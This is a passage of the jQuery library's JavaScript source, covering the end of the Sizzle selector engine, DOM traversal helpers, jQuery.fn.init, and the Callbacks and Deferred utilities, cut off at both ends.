Try to minimize operations if there is only one selector in the list and no seed\n\t// (the latter of which guarantees us context)\n\tif ( match.length === 1 ) {\n\n\t\t// Reduce context if the leading compound selector is an ID\n\t\ttokens = match[0] = match[0].slice( 0 );\n\t\tif ( tokens.length > 2 && (token = tokens[0]).type === \"ID\" &&\n\t\t\t\tsupport.getById && context.nodeType === 9 && documentIsHTML &&\n\t\t\t\tExpr.relative[ tokens[1].type ] ) {\n\n\t\t\tcontext = ( Expr.find[\"ID\"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];\n\t\t\tif ( !context ) {\n\t\t\t\treturn results;\n\n\t\t\t// Precompiled matchers will still verify ancestry, so step up a level\n\t\t\t} else if ( compiled ) {\n\t\t\t\tcontext = context.parentNode;\n\t\t\t}\n\n\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t}\n\n\t\t// Fetch a seed set for right-to-left matching\n\t\ti = matchExpr[\"needsContext\"].test( selector ) ? 0 : tokens.length;\n\t\twhile ( i-- ) {\n\t\t\ttoken = tokens[i];\n\n\t\t\t// Abort if we hit a combinator\n\t\t\tif ( Expr.relative[ (type = token.type) ] ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( (find = Expr.find[ type ]) ) {\n\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\tif ( (seed = find(\n\t\t\t\t\ttoken.matches[0].replace( runescape, funescape ),\n\t\t\t\t\trsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context\n\t\t\t\t)) ) {\n\n\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function if one is not provided\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\t( compiled || compile( selector, match ) )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\t!context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n};\n\n// One-time assignments\n\n// Sort stability\nsupport.sortStable = expando.split(\"\").sort( sortOrder ).join(\"\") === expando;\n\n// Support: Chrome 14-35+\n// Always assume duplicates if they aren't passed to the comparison function\nsupport.detectDuplicates = !!hasDuplicate;\n\n// Initialize against the default document\nsetDocument();\n\n// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)\n// Detached nodes confoundingly follow *each other*\nsupport.sortDetached = assert(function( div1 ) {\n\t// Should return 1, but returns 4 (following)\n\treturn div1.compareDocumentPosition( document.createElement(\"div\") ) & 1;\n});\n\n// Support: IE<8\n// Prevent attribute/property \"interpolation\"\n// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\nif ( !assert(function( div ) {\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\treturn div.firstChild.getAttribute(\"href\") === \"#\" ;\n}) ) {\n\taddHandle( \"type|href|height|width\", function( elem, name, isXML ) {\n\t\tif ( !isXML ) {\n\t\t\treturn elem.getAttribute( name, name.toLowerCase() === \"type\" ? 1 : 2 );\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use defaultValue in place of getAttribute(\"value\")\nif ( !support.attributes || !assert(function( div ) {\n\tdiv.innerHTML = \"<input/>\";\n\tdiv.firstChild.setAttribute( \"value\", \"\" );\n\treturn div.firstChild.getAttribute( \"value\" ) === \"\";\n}) ) {\n\taddHandle( \"value\", function( elem, name, isXML ) {\n\t\tif ( !isXML && elem.nodeName.toLowerCase() === \"input\" ) {\n\t\t\treturn elem.defaultValue;\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use getAttributeNode to fetch booleans when getAttribute lies\nif ( !assert(function( div ) {\n\treturn div.getAttribute(\"disabled\") == null;\n}) ) {\n\taddHandle( booleans, function( elem, name, isXML ) {\n\t\tvar val;\n\t\tif ( !isXML ) {\n\t\t\treturn elem[ name ] === true ? name.toLowerCase() :\n\t\t\t\t\t(val = elem.getAttributeNode( name )) && val.specified ?\n\t\t\t\t\tval.value :\n\t\t\t\tnull;\n\t\t}\n\t});\n}\n\nreturn Sizzle;\n\n})( window );\n\n\n\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[ \":\" ] = jQuery.expr.pseudos;\njQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\n\n\n\nvar dir = function( elem, dir, until ) {\n\tvar matched = [],\n\t\ttruncate = until !== undefined;\n\n\twhile ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\tif ( truncate && jQuery( elem ).is( until ) ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmatched.push( elem );\n\t\t}\n\t}\n\treturn matched;\n};\n\n\nvar siblings = function( n, elem ) {\n\tvar matched = [];\n\n\tfor ( ; n; n = n.nextSibling ) {\n\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\tmatched.push( n );\n\t\t}\n\t}\n\n\treturn matched;\n};\n\n\nvar rneedsContext = jQuery.expr.match.needsContext;\n\nvar rsingleTag = ( /^<([\\w-]+)\\s*\\/?>(?:<\\/\\1>|)$/ );\n\n\n\nvar risSimple = /^.[^:#\\[\\.,]*$/;\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, not ) {\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep( elements, function( elem, i ) {\n\t\t\t/* jshint -W018 */\n\t\t\treturn !!qualifier.call( elem, i, elem ) !== not;\n\t\t} );\n\n\t}\n\n\tif ( qualifier.nodeType ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( elem === qualifier ) !== not;\n\t\t} );\n\n\t}\n\n\tif ( typeof qualifier === \"string\" ) {\n\t\tif ( risSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter( qualifier, elements, not );\n\t\t}\n\n\t\tqualifier = jQuery.filter( qualifier, elements );\n\t}\n\n\treturn jQuery.grep( elements, function( elem ) {\n\t\treturn ( indexOf.call( qualifier, elem ) > -1 ) !== not;\n\t} );\n}\n\njQuery.filter = function( expr, elems, not ) {\n\tvar elem = elems[ 0 ];\n\n\tif ( not ) {\n\t\texpr = \":not(\" + expr + \")\";\n\t}\n\n\treturn elems.length === 1 && elem.nodeType === 1 ?\n\t\tjQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :\n\t\tjQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t} ) );\n};\n\njQuery.fn.extend( {\n\tfind: function( selector ) {\n\t\tvar i,\n\t\t\tlen = this.length,\n\t\t\tret = [],\n\t\t\tself = this;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn this.pushStack( jQuery( selector ).filter( function() {\n\t\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} ) );\n\t\t}\n\n\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\tjQuery.find( selector, self[ i ], ret );\n\t\t}\n\n\t\t// Needed because $( selector, context ) becomes $( context ).find( selector )\n\t\tret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );\n\t\tret.selector = this.selector ? this.selector + \" \" + selector : selector;\n\t\treturn ret;\n\t},\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], false ) );\n\t},\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], true ) );\n\t},\n\tis: function( selector ) {\n\t\treturn !!winnow(\n\t\t\tthis,\n\n\t\t\t// If this is a positional/relative selector, check membership in the returned set\n\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\ttypeof selector === \"string\" && rneedsContext.test( selector ) ?\n\t\t\t\tjQuery( selector ) :\n\t\t\t\tselector || [],\n\t\t\tfalse\n\t\t).length;\n\t}\n} );\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\nvar rootjQuery,\n\n\t// A simple way to check for HTML strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n\t// Strict HTML recognition (#11290: must start with <)\n\trquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,\n\n\tinit = jQuery.fn.init = function( selector, context, root ) {\n\t\tvar match, elem;\n\n\t\t// HANDLE: $(\"\"), $(null), $(undefined), $(false)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Method init() accepts an alternate rootjQuery\n\t\t// so migrate can support jQuery.sub (gh-2101)\n\t\troot = root || rootjQuery;\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\tif ( selector[ 0 ] === \"<\" &&\n\t\t\t\tselector[ selector.length - 1 ] === \">\" &&\n\t\t\t\tselector.length >= 3 ) {\n\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = rquickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Match html or make sure no context is specified for #id\n\t\t\tif ( match && ( match[ 1 ] || !context ) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[ 1 ] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[ 0 ] : context;\n\n\t\t\t\t\t// Option to run scripts is true for back-compat\n\t\t\t\t\t// Intentionally let the error be thrown if parseHTML is not present\n\t\t\t\t\tjQuery.merge( this, jQuery.parseHTML(\n\t\t\t\t\t\tmatch[ 1 ],\n\t\t\t\t\t\tcontext && context.nodeType ? context.ownerDocument || context : document,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t) );\n\n\t\t\t\t\t// HANDLE: $(html, props)\n\t\t\t\t\tif ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\tfor ( match in context ) {\n\n\t\t\t\t\t\t\t// Properties of context are called as methods if possible\n\t\t\t\t\t\t\tif ( jQuery.isFunction( this[ match ] ) ) {\n\t\t\t\t\t\t\t\tthis[ match ]( context[ match ] );\n\n\t\t\t\t\t\t\t// ...and otherwise set as attributes\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.attr( match, context[ match ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn this;\n\n\t\t\t\t// HANDLE: $(#id)\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[ 2 ] );\n\n\t\t\t\t\t// Support: Blackberry 4.6\n\t\t\t\t\t// gEBID returns nodes no longer in the document (#6963)\n\t\t\t\t\tif ( elem && elem.parentNode ) {\n\n\t\t\t\t\t\t// Inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[ 0 ] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || root ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(DOMElement)\n\t\t} else if ( selector.nodeType ) {\n\t\t\tthis.context = this[ 0 ] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn root.ready !== undefined ?\n\t\t\t\troot.ready( selector ) :\n\n\t\t\t\t// Execute immediately if ready is not present\n\t\t\t\tselector( jQuery );\n\t\t}\n\n\t\tif ( selector.selector !== undefined ) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t};\n\n// Give the init function the jQuery prototype for later instantiation\ninit.prototype = jQuery.fn;\n\n// Initialize central reference\nrootjQuery = jQuery( document );\n\n\nvar rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\n\t// Methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend( {\n\thas: function( target ) {\n\t\tvar targets = jQuery( target, this ),\n\t\t\tl = targets.length;\n\n\t\treturn this.filter( function() {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[ i ] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tmatched = [],\n\t\t\tpos = rneedsContext.test( selectors ) || typeof selectors !== \"string\" ?\n\t\t\t\tjQuery( selectors, context || this.context ) :\n\t\t\t\t0;\n\n\t\tfor ( ; i < l; i++ ) {\n\t\t\tfor ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {\n\n\t\t\t\t// Always skip document fragments\n\t\t\t\tif ( cur.nodeType < 11 && ( pos ?\n\t\t\t\t\tpos.index( cur ) > -1 :\n\n\t\t\t\t\t// Don't pass non-elements to Sizzle\n\t\t\t\t\tcur.nodeType === 1 &&\n\t\t\t\t\t\tjQuery.find.matchesSelector( cur, selectors ) ) ) {\n\n\t\t\t\t\tmatched.push( cur );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );\n\t},\n\n\t// Determine the position of an element within the set\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;\n\t\t}\n\n\t\t// Index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn indexOf.call( jQuery( elem ), this[ 0 ] );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn indexOf.call( this,\n\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[ 0 ] : elem\n\t\t);\n\t},\n\n\tadd: function( selector, context ) {\n\t\treturn this.pushStack(\n\t\t\tjQuery.uniqueSort(\n\t\t\t\tjQuery.merge( this.get(), jQuery( selector, context ) )\n\t\t\t)\n\t\t);\n\t},\n\n\taddBack: function( selector ) {\n\t\treturn this.add( selector == null ?\n\t\t\tthis.prevObject : this.prevObject.filter( selector )\n\t\t);\n\t}\n} );\n\nfunction sibling( cur, dir ) {\n\twhile ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}\n\treturn cur;\n}\n\njQuery.each( {\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn sibling( elem, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn sibling( elem, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn siblings( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn siblings( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn elem.contentDocument || jQuery.merge( [], elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar matched = jQuery.map( this, fn, until );\n\n\t\tif ( name.slice( -5 ) !== \"Until\" ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tmatched = jQuery.filter( selector, matched );\n\t\t}\n\n\t\tif ( this.length > 1 ) {\n\n\t\t\t// Remove duplicates\n\t\t\tif ( !guaranteedUnique[ name ] ) {\n\t\t\t\tjQuery.uniqueSort( matched );\n\t\t\t}\n\n\t\t\t// Reverse order for parents* and prev-derivatives\n\t\t\tif ( rparentsprev.test( name ) ) {\n\t\t\t\tmatched.reverse();\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched );\n\t};\n} );\nvar rnotwhite = ( /\\S+/g );\n\n\n\n// Convert String-formatted options into Object-formatted ones\nfunction createOptions( options ) {\n\tvar object = {};\n\tjQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t} );\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\toptions: an optional list of space-separated options that will change how\n *\t\t\tthe callback list behaves or a more traditional option object\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible options:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( options ) {\n\n\t// Convert options from String-formatted to Object-formatted if needed\n\t// (we check in cache first)\n\toptions = typeof options === \"string\" ?\n\t\tcreateOptions( options ) :\n\t\tjQuery.extend( {}, options );\n\n\tvar // Flag to know if list is currently firing\n\t\tfiring,\n\n\t\t// Last fire value for non-forgettable lists\n\t\tmemory,\n\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\n\t\t// Flag to prevent firing\n\t\tlocked,\n\n\t\t// Actual callback list\n\t\tlist = [],\n\n\t\t// Queue of execution data for repeatable lists\n\t\tqueue = [],\n\n\t\t// Index of currently firing callback (modified by add/remove as needed)\n\t\tfiringIndex = -1,\n\n\t\t// Fire callbacks\n\t\tfire = function() {\n\n\t\t\t// Enforce single-firing\n\t\t\tlocked = options.once;\n\n\t\t\t// Execute callbacks for all pending executions,\n\t\t\t// respecting firingIndex overrides and runtime changes\n\t\t\tfired = firing = true;\n\t\t\tfor ( ; queue.length; firingIndex = -1 ) {\n\t\t\t\tmemory = queue.shift();\n\t\t\t\twhile ( ++firingIndex < list.length ) {\n\n\t\t\t\t\t// Run callback and check for early termination\n\t\t\t\t\tif ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&\n\t\t\t\t\t\toptions.stopOnFalse ) {\n\n\t\t\t\t\t\t// Jump to end and forget the data so .add doesn't re-fire\n\t\t\t\t\t\tfiringIndex = list.length;\n\t\t\t\t\t\tmemory = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Forget the data if we're done with it\n\t\t\tif ( !options.memory ) {\n\t\t\t\tmemory = false;\n\t\t\t}\n\n\t\t\tfiring = false;\n\n\t\t\t// Clean up if we're done firing for good\n\t\t\tif ( locked ) {\n\n\t\t\t\t// Keep an empty list if we have data for future add calls\n\t\t\t\tif ( memory ) {\n\t\t\t\t\tlist = [];\n\n\t\t\t\t// Otherwise, this object is spent\n\t\t\t\t} else {\n\t\t\t\t\tlist = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t// Actual Callbacks object\n\t\tself = {\n\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\n\t\t\t\t\t// If we have memory from a past run, we should fire after adding\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfiringIndex = list.length - 1;\n\t\t\t\t\t\tqueue.push( memory );\n\t\t\t\t\t}\n\n\t\t\t\t\t( function add( args ) {\n\t\t\t\t\t\tjQuery.each( args, function( _, arg ) {\n\t\t\t\t\t\t\tif ( jQuery.isFunction( arg ) ) {\n\t\t\t\t\t\t\t\tif ( !options.unique || !self.has( arg ) ) {\n\t\t\t\t\t\t\t\t\tlist.push( arg );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( arg && arg.length && jQuery.type( arg ) !== \"string\" ) {\n\n\t\t\t\t\t\t\t\t// Inspect recursively\n\t\t\t\t\t\t\t\tadd( arg );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} );\n\t\t\t\t\t} )( arguments );\n\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tjQuery.each( arguments, function( _, arg ) {\n\t\t\t\t\tvar index;\n\t\t\t\t\twhile ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n\t\t\t\t\t\tlist.splice( index, 1 );\n\n\t\t\t\t\t\t// Handle firing indexes\n\t\t\t\t\t\tif ( index <= firingIndex ) {\n\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Check if a given callback is in the list.\n\t\t\t// If no argument is given, return whether or not list has callbacks attached.\n\t\t\thas: function( fn ) {\n\t\t\t\treturn fn ?\n\t\t\t\t\tjQuery.inArray( fn, list ) > -1 :\n\t\t\t\t\tlist.length > 0;\n\t\t\t},\n\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tlist = [];\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Disable .fire and .add\n\t\t\t// Abort any current/pending executions\n\t\t\t// Clear all callbacks and values\n\t\t\tdisable: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tlist = memory = \"\";\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\n\t\t\t// Disable .fire\n\t\t\t// Also disable .add unless we have memory (since it would have no effect)\n\t\t\t// Abort any pending executions\n\t\t\tlock: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tif ( !memory ) {\n\t\t\t\t\tlist = memory = \"\";\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tlocked: function() {\n\t\t\t\treturn !!locked;\n\t\t\t},\n\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( !locked ) {\n\t\t\t\t\targs = args || [];\n\t\t\t\t\targs = [ context, args.slice ? args.slice() : args ];\n\t\t\t\t\tqueue.push( args );\n\t\t\t\t\tif ( !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\njQuery.extend( {\n\n\tDeferred: function( func ) {\n\t\tvar tuples = [\n\n\t\t\t\t// action, add listener, listener list, final state\n\t\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ), \"resolved\" ],\n\t\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ), \"rejected\" ],\n\t\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ) ]\n\t\t\t],\n\t\t\tstate = \"pending\",\n\t\t\tpromise = {\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done( arguments ).fail( arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\tthen: function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\t\t\tvar fns = arguments;\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\t\t\t\t\tvar fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];\n\n\t\t\t\t\t\t\t// deferred[ done | fail | progress ] for forwarding actions to newDefer\n\t\t\t\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && jQuery.isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t\t\t.progress( newDefer.notify )\n\t\t\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t\t\t.fail( newDefer.reject );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\t\t\t\tthis === promise ? newDefer.promise() : this,\n\t\t\t\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t} );\n\t\t\t\t\t\tfns = null;\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\treturn obj != null ? jQuery.extend( obj, promise ) : promise;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = {};\n\n\t\t// Keep pipe for back-compat\n\t\tpromise.pipe = promise.then;\n\n\t\t// Add list-specific methods\n\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\tvar list = tuple[ 2 ],\n\t\t\t\tstateString = tuple[ 3 ];\n\n\t\t\t// promise[ done | fail | progress ] = list.add\n\t\t\tpromise[ tuple[ 1 ] ] = list.add;\n\n\t\t\t// Handle state\n\t\t\tif ( stateString ) {\n\t\t\t\tlist.add( function() {\n\n\t\t\t\t\t// state = [ resolved | rejected ]\n\t\t\t\t\tstate = stateString;\n\n\t\t\t\t// [ reject_list | resolve_list ].disable; progress_list.lock\n\t\t\t\t}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );\n\t\t\t}\n\n\t\t\t// deferred[ resolve | reject | notify ]\n\t\t\tdeferred[ tuple[ 0 ] ] = function() {\n\t\t\t\tdeferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? promise : this, arguments );\n\t\t\t\treturn this;\n\t\t\t};\n\t\t\tdeferred[ tuple[ 0 ] + \"With\" ] = list.fireWith;\n\t\t} );\n\n\t\t// Make the deferred a promise\n\t\tpromise.promise( deferred );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( subordinate /* , ..., subordinateN */ ) {\n\t\tvar i = 0,\n\t\t\tresolveValues = slice.call( arguments ),\n\t\t\tlength = resolveValues.length,\n\n\t\t\t// the count of uncompleted subordinates\n\t\t\tremaining = length !== 1 ||\n\t\t\t\t( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,\n\n\t\t\t// the master Deferred.\n\t\t\t// If resolveValues consist of only a single Deferred, just use that.\n\t\t\tdeferred = remaining === 1 ? subordinate : jQuery.Deferred(),\n\n\t\t\t// Update function for both resolve and progress values\n\t\t\tupdateFunc = function( i, contexts, values ) {\n\t\t\t\treturn function( value ) {\n\t\t\t\t\tcontexts[ i ] = this;\n\t\t\t\t\tvalues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n\t\t\t\t\tif ( values === progressValues ) {\n\t\t\t\t\t\tdeferred.notifyWith( contexts, values );\n\t\t\t\t\t} else if ( !( --remaining ) ) {\n\t\t\t\t\t\tdeferred.resolveWith( contexts, values );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t},\n\n\t\t\tprogressValues, progressContexts, resolveContexts;\n\n\t\t// Add listeners to Deferred subordinates; treat others as resolved\n\t\tif ( length > 1 ) {\n\t\t\tprogressValues = new Array( length );\n\t\t\tprogressContexts = new Array( length );\n\t\t\tresolveContexts = new Array( length );\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise 